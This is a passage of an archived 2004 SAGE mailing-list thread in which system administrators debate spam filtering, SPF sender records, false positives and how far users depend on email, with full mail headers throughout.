[10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i138Hjxi095391; Tue, 3 Feb 2004 03:18:01 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040203013552.GI29385@darkuncle.net> References: <20040203013552.GI29385@darkuncle.net> Date: Tue, 3 Feb 2004 09:07:33 +0100 To: Scott Francis From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 5:35 PM -0800 2004/02/02, Scott Francis wrote: > Users don't care about technical limitations, /as long as they can >do whatever > it is they wanted to do/. True. > Most generic users don't even understand what a > technical limitation is (I'm wearing the ISP hat here, not the internal IT > business support hat, although businesses certainly have their share of > clueless users) - they just want to be able to mail their grandkids and > receive pictures of them without having to wade through a 20:1 ratio of spam > to real mail. Yup. But as soon as you break their ability to do that, for whatever reason, you are seriously toast. As an admin, you need to be able to look ahead and tell them what are really bad ideas and why, and try to avoid making any serious mistakes if you can see them coming and they are avoidable. > I submit that most of the complaint about SPF and other proposed solutions > breaking things comes from sysadmins who object to anybody placing any kind > of restraint on them in any way, rather than from real complaints from users. No. It's not that. It's that we foresee serious problems coming down the pike once the system is more wide-spread, and we're trying to avoid making such a mistake, if possible. > Implementing SPF isn't, for instance, going to make your blackberry stop > working. Actually, it could very well do just that. It all depends on how the blackberry is set up. > It's not sufficient anymore to simply reject proposed solutions out of hand > because they may have one or two technical flaws - users are rapidly losing > patience with the spam issue, and if we do not come up with a solution, be it > technically perfect or not, they will come up with one for us. If the users want to play with thermonuclear suppositories, and they insist on using them, there's only so much I can do until I have to say "Okay, then do it without involving me." -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 00:18:08 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i138I7cH013124 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 00:18:08 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i138I71x013122 for sage-members-outgoing; Tue, 3 Feb 2004 00:18:07 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i138I5cH013111 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 00:18:06 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i138Hjxg095391; Tue, 3 Feb 2004 03:17:58 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040203012400.GB29385@darkuncle.net> References: <20040202230545.GH21320@darkuncle.net> <20040203012400.GB29385@darkuncle.net> Date: Tue, 3 Feb 2004 09:02:20 +0100 To: Scott Francis From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: Brad Knowles , sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 5:24 PM -0800 2004/02/02, Scott Francis wrote: > how does inability to send mobile email, or utilize .forward, or > aliases-based mailing lists, affect the average ISP user? Answer: the average > ISP user can't even spell ".forward". No, but they can go to a "Preferences" web page created for them by their ISP and fill in the field that says "Forward all e-mail to this address". They don't care how it's implemented, they just care that it works. > Naturally, there are wrong ways to implement anything. My point is that we > can no longer afford to simply reject proposed solutions out of hand and > start over every time. We can reject solutions that have been tried in the past and found wanting, and which have known serious limitations to their effectiveness and known serious problems with collateral damage. We can learn from past mistakes and work to avoid making them again. > Point being, _now_ is the time to come up with a solution, before the > uninformed public makes the choice for us (and the odds of them making a good > choice are pretty slim). Point being, we need to take the proper scientific approach to solving this problem. Something that the ASRG has been tasked to do, but which has been continually subverted by cowboys with their own agenda to attend to, cowboys that don't care about anyone's solutions but their own, cowboys that don't mind using thermonuclear methods that leave no useful product behind. > It's been my experience that folks are more likely to lost it over the flood > of spam than they are over the occasional lost mail, or the inability to send > mail from their phones (how many non-technical users do you know that use > this feature, really?). Again, I'm looking at the average user here, not the > audience that will be reading this email. False positives are the most dangerous aspect to spam and anti-spam activities. People can withstand a hell of a lot of abuse, so long as they know that no e-mail messages from their grandmother (or their most important customer) are not being lost. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 00:45:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i138jecH014262 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 00:45:40 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i138jdEK014261 for sage-members-outgoing; Tue, 3 Feb 2004 00:45:40 -0800 (PST) Received: from mail.remote.org (visby.remote.org [193.197.184.25]) by usenix.org (8.12.10/8.12.10) with ESMTP id i138jUcG014256 for ; Tue, 3 Feb 2004 00:45:32 -0800 (PST) Received: from localhost by mail.remote.org with local-rmail id 1AnwBU-0002lz-00; Tue, 03 Feb 2004 09:45:28 +0100 Received: from sqrt by eldorado.remote.org with local (Exim 3.36 #1) id 1AnwBH-00041R-00 for sage-members@usenix.org; Tue, 03 Feb 2004 09:45:15 +0100 Date: Tue, 3 Feb 2004 09:45:15 +0100 From: Jochen Topf To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203084515.GA15417@eldorado.remote.org> References: <20040203013636.GJ29385@darkuncle.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040203013636.GJ29385@darkuncle.net> User-Agent: Mutt/1.5.5.1+cvs20040105i Sender: owner-sage-members@usenix.org Precedence: bulk On Mon, Feb 02, 2004 at 05:36:37PM -0800, Scott Francis wrote: > Point being, _now_ is the time to come up with a solution, before the > uninformed public makes the choice for us (and the odds of them making a good > choice are pretty slim). What gets overlooked IMHO in this discussion it that more likely than not there is not going to be *a* solution, but many measures that need to be taken together that will mitigate but never really solve the problem. We are engineers used to analyzing a problem, finding the best solution and implementing it. But the fact that we haven't been able to solve the Spam problem should tell us something, mainly that there is no perfect solution and there never will be. Let me digress a little bit: Somebody in my family has Parkinson's disease and I have been looking into it. This disease happens when a certain type of brain cell dies. These cells produce dopamine, which is important for the brain. So the problem is really quite simple and well understood. Unfortunately the solution is neither. There is currently no cure for Parkinson's disease, but you can give the patient dopamine tablets and the symptoms of the disease will lessen. Unfortunately the effect wears off quickly and you have to take those pills again and again. And then you have all sorts of other agents that help the medicine get from the stomach into the blood and later into the brain. And other to help prolonging the effect of a single dose and so on. But all those drugs lead to adverse effects so you need more drugs to cure the side effects etc. This means that the patient might need to take several different drugs every couple of hours and he needs to go to his physician every few months to check the progression of the disease and to adjust dosage. The Internet and the global email system are far too complex today and they have outstripped any engineering type solution, what we need is a medical type solution. We already see this with filtering, which uses many different ways to distinguish real mail from spam. Every single indication of spam/no spam is not good and specific enough, but together they are rather helpful. Filtering solutions deal not in certainties but in probabilities. A few years back many people (including me) were against filtering. We feared loosing important mail and dreaded the work needed to train filters or adapt to new tricks invented by the spammers. But filters got better with experience and while they don't solve the problem, they help us live with the problem. Only they are not enough, so we need more. Any solution will lead to occasionally lost mail (but don't forget that postal mail also gets lost occasionally) and other problems and annoyances. But instead of refusing to take the bitter medicine, we have to take it and then find ways to get around the new problems created by the medicine. It still means we have to carefully analyze and test proposed solutions. We have to find weaknesses in the medication and think about ways to mitigate the new problems surfacing because of the medication. But we are not doing our job if we sit on our hands telling everybody that all proposed solutions suck or would be too hard to implement. Jochen -- Jochen Topf jochen@remote.org http://www.remote.org/jochen/ +49-721-388298 From sage-members-owner@usenix.org Tue Feb 3 06:06:22 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13E6McH003091 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 06:06:22 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13E6LoW003090 for sage-members-outgoing; Tue, 3 Feb 2004 06:06:21 -0800 (PST) Received: from gris.jeol.com (gris.jeol.com [192.160.103.77]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13E6JcH003081 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 06:06:20 -0800 (PST) Received: from bosch.jeol.com (bosch.jeol.com [192.160.103.90]) by gris.jeol.com (8.12.6p3/8.12.6) with ESMTP id i13E6IYS062796 for ; Tue, 3 Feb 2004 09:06:18 -0500 (EST) (envelope-from lambert@jeol.com) Date: Tue, 3 Feb 2004 09:06:18 -0500 (EST) From: Mike Lambert To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: Message-ID: References: <20955.1075503620@mental.com> <20040131002931.GQ79295@bitshift.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, 31 Jan 2004, Brad Knowles wrote: > At 10:16 AM -0500 2004/01/31, Mike Lambert wrote: > > > Until a better email system is > > implemented, I will use whatever tools are available, SPF included, to > > 5xx reject at the smtp gateway as much junk email as possible. > > If you want to cut yourself off from the entire Internet, you > should feel free to do so. Thank you, however I have no intention of doing so. > However, I certainly won't have any sleepless nights over blacklisting > you for inappropriate behaviour on the part of your systems. Are you advocating rejecting traffic from a network based solely on the possibility that said network might not be _accepting_ traffic that _you_ think it should??? Mike Lambert From sage-members-owner@usenix.org Tue Feb 3 07:07:30 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13F7TcH004567 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 07:07:29 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13F7ToQ004566 for sage-members-outgoing; Tue, 3 Feb 2004 07:07:29 -0800 (PST) Received: from cliff.niehs.nih.gov (cliff.niehs.nih.gov [157.98.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13F7RcG004561 for ; Tue, 3 Feb 2004 07:07:28 -0800 (PST) Received: from cliff.niehs.nih.gov (IDENT:root@localhost.localdomain [127.0.0.1]) by cliff.niehs.nih.gov (8.12.10/8.12.10/NIEHS-POST-1.23) with ESMTP id i13F7LKS011799 for ; Tue, 3 Feb 2004 10:07:22 -0500 Received: from splat.niehs.nih.gov (ip071023.niehs.nih.gov [157.98.71.23]) by cliff.niehs.nih.gov (8.12.10/8.12.10/NIEHS-PRE-1.34) with ESMTP id i13F7LT0011794; Tue, 3 Feb 2004 10:07:21 -0500 Received: from localhost (localhost.localdomain [127.0.0.1]) by splat.niehs.nih.gov (8.12.8/8.12.8) with ESMTP id i13F788T009058; Tue, 3 Feb 2004 10:07:18 -0500 Subject: Re: [SAGE] The sad and spammy state of virus filters From: "Lance A. Brown" To: "Jan L. Peterson" Cc: Scott Francis , sage-members@usenix.org In-Reply-To: <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> Content-Type: text/plain Organization: LMIT ITSS Contract, Infrastructure Task Message-Id: <1075820828.6854.0.camel@splat.niehs.nih.gov> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Tue, 03 Feb 2004 10:07:08 -0500 Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, 2004-02-03 at 01:34, Jan L. Peterson wrote: > Imagine the phone call you get from the CEO when she gets a call from > the CEO of a company she's been trying to do a merger with and is told > that because she never responded to the e-mailed contract he sent her > (which she never got because he mailed it from a local Starbucks and > not his corporate e-mail account and it got bounced or discarded), he's > decided to do the merger with her biggest competitor instead. Would you, as a CEO, *want* to do a merger with a company whose CEO just did this? --[Lance] From sage-members-owner@usenix.org Tue Feb 3 07:17:07 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13FH6cH005122 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 07:17:06 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13FH6t8005121 for sage-members-outgoing; Tue, 3 Feb 2004 07:17:06 -0800 (PST) Received: from gris.jeol.com (gris.jeol.com [192.160.103.77]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13FH4cH005113 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 07:17:05 -0800 (PST) Received: from bosch.jeol.com (bosch.jeol.com [192.160.103.90]) by gris.jeol.com (8.12.6p3/8.12.6) with ESMTP id i13FH3YS065686 for ; Tue, 3 Feb 2004 10:17:03 -0500 (EST) (envelope-from lambert@jeol.com) Date: Tue, 3 Feb 2004 10:17:03 -0500 (EST) From: Mike Lambert To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, 31 Jan 2004, Brad Knowles wrote: > At 12:24 PM -0600 2004/01/31, Doug Hughes wrote: > > > It's also likely his customers will also thank him for > > it, and business realities are what they are. My comments relate to running a network for a small company, not an ISP. I can well imagine that email issues are quite different for an ISP. > No, they won't. They won't thank him for anything. They will > berate him for letting too much spam through (no matter what he > does), and then they will give him a thermonuclear wedgie when a > single mail message from their grandmother is blocked because of his > efforts. This has not been my experience. Education and whitelisting has been quite effective. Again, this is only for a small organization. I understand that this might not scale (or work for ISPs). > If he chooses to implement questionable methods in his > overzealousness, that's fine. "questionable" and "overzealous" to who? And exactly which methods are you referring to? > But don't come crying to me when it breaks, s/when/if > and don't expect anyone else on the 'net to care or to provide any > assistance. You are speaking for the whole Internet now? > > I've been wrestling > > with the idea of SPF implementation and am leaning towards _not_ at this > > time thanks to this discussion. Or, maybe it will be a split > > implementation on an opt-in basis for certain customer classes. So > > many options.. so much spam.. > > The problem is that SPF doesn't help reduce spam. Not at the moment for me because I have not implemented it yet. Like many others, I am still evaluating the technology. > This kind of thing could only possibly help if everyone in the world > implemented it, and did so perfectly. I disagree. AOL is publishing SPF TXT records. If I configure my MTA to use this information, then I can reject all MAIL FROM @aol.com that does not come from aol's designated outbound smtp servers. Looks like this will help me reject spoofed aol mail. > Even then, all it can possibly do is prevent someone from sending mail > claiming to be from another domain that they do not actually > own/operate. I agree. From my understanding of SPF, that is all it is intended to do. > Even if it was working perfectly at all sites everywhere in the > world, anyone could pretend to be someone else from the same domain > -- all hotmail users could spoof e-mail as coming from anyone else at > hotmail. Yes. But, I think SPF is designed to address only domain spoofing, not user spoofing. > Moreover, it doesn't stop virus/worm/Trojan Horse sourced > spam, because all that mail would be legitimately passing through the > authorized mail servers on behalf of the owner of the machine. Only if the virus/worm is designed to use the authorized outgoing email server and uses the correct domain in MAIL FROM. Current virus/worms do not do this (that I am aware of), but they certainly could in the future. Once virus/worms are forced to use authorized email servers, anti-virus software can prevent further spread. Of course, this assumes anti-virus software is installed on the authorized servers. > All it takes is for a single spammer to own his own domain and to > be able to publish his own SPF records that allow anyone in the world > to generate e-mail from that domain. Because all IP addresses in the > world will be allowed to generate e-mail from evilspammer.com, it > will pass the SPF whitelist test and be allowed through. Blacklist the domain? SPF filter only on specific domains like aol, hotmail, and yahoo? > This is a really, really bad idea which causes far more damage > than it could ever possibly resolve. Perhaps. > People who are this stupid should be shot and taken out with the > trash. Switch to de-caf. Mike Lambert From sage-members-owner@usenix.org Tue Feb 3 07:28:09 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13FS9cH005739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 07:28:09 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13FS9O8005738 for sage-members-outgoing; Tue, 3 Feb 2004 07:28:09 -0800 (PST) Received: from exgw2.lumeta.com (exgw2.lumeta.com [65.198.68.66]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13FS6cG005733 for ; Tue, 3 Feb 2004 07:28:07 -0800 (PST) Received: from ingw2.lumeta.com (h65-246-245-2.lumeta.com [65.246.245.2]) by exgw2.lumeta.com (Postfix) with ESMTP id A250F5F9033 for ; Tue, 3 Feb 2004 10:22:04 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by ingw2.lumeta.com (Postfix) with ESMTP id 218D85194D for ; Tue, 3 Feb 2004 10:28:06 -0500 (EST) Received: from ingw2.lumeta.com ([127.0.0.1]) by localhost (ingw2.lumeta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 61341-04 for ; Tue, 3 Feb 2004 10:27:59 -0500 (EST) Received: from lucy.corp.lumeta.com (lucy.corp.lumeta.com [65.246.245.10]) by ingw2.lumeta.com (Postfix) with ESMTP id 46EE751968 for ; Tue, 3 Feb 2004 10:27:59 -0500 (EST) Received: from lulu.corp.lumeta.com (lulu.corp.lumeta.com [65.246.245.9]) by lucy.corp.lumeta.com (Postfix) with ESMTP id 280DDA8A62 for ; Tue, 3 Feb 2004 10:27:59 -0500 (EST) Received: from gsieb2.corp.lumeta.com by lulu.corp.lumeta.com with ESMTP id 2618311075822073; Tue, 03 Feb 2004 10:27:53 -0500 From: "Glenn E. Sieb" To: sage-members@usenix.org Subject: RE: [SAGE] The sad and spammy state of virus filters Date: Tue, 3 Feb 2004 10:27:52 -0500 Organization: Lumeta Corporation X-Sent-Folder-Path: Sent Items X-Mailer: Oracle Connector for Outlook 9.0.4 51015 (10.0.4712) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-Id: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> X-Virus-Scanned: by amavisd-new at lumeta.com Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by usenix.org id i13FS7cG005734 Sender: owner-sage-members@usenix.org Precedence: bulk > Would you, as a CEO, *want* to do a merger with a company > whose CEO just did this? Don't forget, most CEOs don't care about such things--they just want to do their business. CIOs may have a clue about such things, but, frankly, I no longer expect CEOs to have this level of common sense. G. -- Glenn E. Sieb System Administrator Lumeta Corporation +1 732 357-3514 (V) +1 732 564-0731 (Fax) From sage-members-owner@usenix.org Tue Feb 3 07:55:10 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Ft9cH006703 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 07:55:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Ft9pu006702 for sage-members-outgoing; Tue, 3 Feb 2004 07:55:09 -0800 (PST) Received: from ke.earlham.edu (ke.earlham.edu [159.28.1.93]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Ft6cH006696 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 07:55:07 -0800 (PST) Received: from llya010.lly.earlham.edu (llya010.lly.earlham.edu [159.28.7.10]) (authenticated bits=0) by ke.earlham.edu (8.12.6/8.12.6) with ESMTP id i13Ft5ra029563 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 10:55:05 -0500 (EST) (envelope-from littejo@earlham.edu) Date: Tue, 3 Feb 2004 10:54:59 -0500 (EST) From: John Rowan Littell X-X-Sender: rowan@llya010.lly.earlham.edu To: sage-members@usenix.org Subject: RE: [SAGE] The sad and spammy state of virus filters In-Reply-To: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> Message-ID: References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sanitizer: This message has passed the MIMEDefang sanitizer. X-Sanitizer-URL: http://www.earlham.edu/~ecs X-Sanitizer-Version: MIMEDefang/ECSanitizer $Revision: 1.16 $ X-Sanitizer-Config-Version: $Revision: 1.143 $ X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Lo, Glenn E. Sieb and the coffee pot sang in unison: > > Would you, as a CEO, *want* to do a merger with a company > > whose CEO just did this? > > Don't forget, most CEOs don't care about such things--they just want to do their business. CIOs may have a clue about such things, but, frankly, I no longer expect CEOs to have this level of common sense. Er, this *is* a bit of a digression, but think about this for a moment. Do you seriously expect that any CEO would be relying on non-paper forms of communication for such important legal business as merger contracts? While I acknowledge that there are important communications that happen over e-mail, I'd be quite surprised if discussions of such importance occurred only in that medium. I think this points out one of the assumptions underlying this argument: that e-mail is, at our current state, a non-critical, non-verified, and non-guaranteed form of communication. A CEO may not understand "e-mail server won't allow you to technobabble", but even the average user will understand "this is not FedEx overnight certified." Problem is, we (yes, us, and the folks that promote our services) have too often either not said that, or even said that it is. Another bit of the problem is that we don't have an equivalent for FedEx overnight certified -- at least one that's anywhere near as easy to use and ubiquitous. --rowan - -- John "Rowan" Littell Systems Administrator Earlham College Computing Services http://www.earlham.edu/~littejo/ 2004-02-03 10:38 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (Darwin) Comment: Made with pgp4pine 1.76 iQCVAwUBQB/EWZdUNSJ2nf/5AQFE/AQAyYzU2NH697EfyV3UhiQbTx52+Hwc9Esl SMpOII23i2Dxf03viBoPtqWZ2iGU7AztmfGbQ4wRjSzzWf6AGbO6a1ar0KIAieeS 3HsdRRh4ToTm1PJ95XVke2QpVFY0d5HDzVM3I7XjajIBibDEiEkG43DmJHeIWrTY d1t76yMIdLU= =t/mJ -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Tue Feb 3 08:14:46 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13GEkcH007492 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 08:14:46 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13GEjrq007491 for sage-members-outgoing; Tue, 3 Feb 2004 08:14:46 -0800 (PST) Received: from belial.infersys.com (infersys.com [66.51.209.144]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13GEicG007486 for ; Tue, 3 Feb 2004 08:14:44 -0800 (PST) Received: from azazel.infersys.com (azazel.infersys.com [172.16.1.42]) by belial.infersys.com (Postfix) with ESMTP id 417FD100606; Tue, 3 Feb 2004 08:14:44 -0800 (PST) Received: by azazel.infersys.com (Postfix, from userid 10001) id 2796C6CC0A9; Tue, 3 Feb 2004 08:14:44 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16415.51443.701213.960605@azazel.infersys.com> Date: Tue, 3 Feb 2004 08:14:43 -0800 To: sage-members@usenix.org Subject: RE: [SAGE] The sad and spammy state of virus filters In-Reply-To: References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> X-Mailer: VM 7.17 under 21.4 (patch 14) "Reasonable Discussion" XEmacs Lucid From: Josh Smith X-Attribution: JBS Organization: Evil Geniuses For A Better Tomorrow Sender: owner-sage-members@usenix.org Precedence: bulk JRL> I think this points out one of the assumptions underlying this JRL> argument: that e-mail is, at our current state, a non-critical, JRL> non-verified, and non-guaranteed form of communication. I think it's also important to distinguish between "I use e-mail constantly over the course of my day, and if it's not working, I can't get important work done", which is often true, and leads us to think that e-mail is a critical service that must always be working, which it often is; and "I must be able to send and receive business-critical e-mail from an Internet cafe in Istanbul". -Josh (irilyth@infersys.com) From sage-members-owner@usenix.org Tue Feb 3 08:38:43 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13GchcH008557 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 08:38:43 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Gchum008555 for sage-members-outgoing; Tue, 3 Feb 2004 08:38:43 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13GcfcG008550 for ; Tue, 3 Feb 2004 08:38:42 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13GcZiL002799 for ; Tue, 3 Feb 2004 08:38:35 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 556BE22887; Tue, 3 Feb 2004 08:38:35 -0800 (PST) Date: Tue, 3 Feb 2004 08:38:35 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203163835.GJ69255@bitshift.org> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16415.51443.701213.960605@azazel.infersys.com> User-Agent: Mutt/1.4.1i X-Uptime: 8:30AM up 231 days, 11:40, 14 users, load averages: 0.02, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 08:14:43AM -0800, Josh Smith wrote: > > I think it's also important to distinguish between "I use e-mail > constantly over the course of my day, and if it's not working, I can't get > important work done", which is often true, and leads us to think that > e-mail is a critical service that must always be working, which it often > is; and "I must be able to send and receive business-critical e-mail from > an Internet cafe in Istanbul". > s/an Internet cafe in Istanbul/a hotel room in Colorado/ s/an Internet cafe in Istanbul/my handheld mobile device (which may or may not be roaming across multiple cell carriers and/or 802.11b/g providers)/ s/an Internet cafe in Istanbul/my home (and no, I never did get this silly VPN technology you folks foisted on us working; I just want to get my work done!)/ s/an Internet cafe in Istanbul/the airport, where I have hours of downtime I could be using to get actual work done/ s/an Internet cafe in Istanbul/Starbucks/ s/an Internet cafe in Istanbul/my ISP, which forces me to use their MTA/ s/an Internet cafe in Istanbul/my Blackberry (they're not all tied to an Exchange backend, you know)/ s/an Internet cafe in Istanbul/from the account to which I have my work e-mail forwarded. Why can't you IT people ever get anything right?/ s/an Internet cafe in Istanbul/This client's network, where I was in the middle of an important ( negotiation | demo | pitch ), which your shortsightedness just blew!/ s/an Internet cafe in Istanbul/any Courtyard Mariott (or whatever other hotel chain just tumbled to the fact that free broadband Internet in every room is a huge sales draw)/ -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 08:49:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13GnPcH009183 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 08:49:25 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13GnPA2009182 for sage-members-outgoing; Tue, 3 Feb 2004 08:49:25 -0800 (PST) Received: from mail.tbcs.co.uk (host-212-158-226-192.bulldogdsl.com [212.158.226.192]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13GnLcH009175 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 08:49:23 -0800 (PST) Received: from www by mail.tbcs.co.uk with local (Exim 4.20) id 1Ao3jk-0000mH-E3 for sage-members@usenix.org; Tue, 03 Feb 2004 16:49:20 +0000 Received: from 195.152.54.10 ([195.152.54.10]) by mail.tbcs.co.uk (IMP) with HTTP 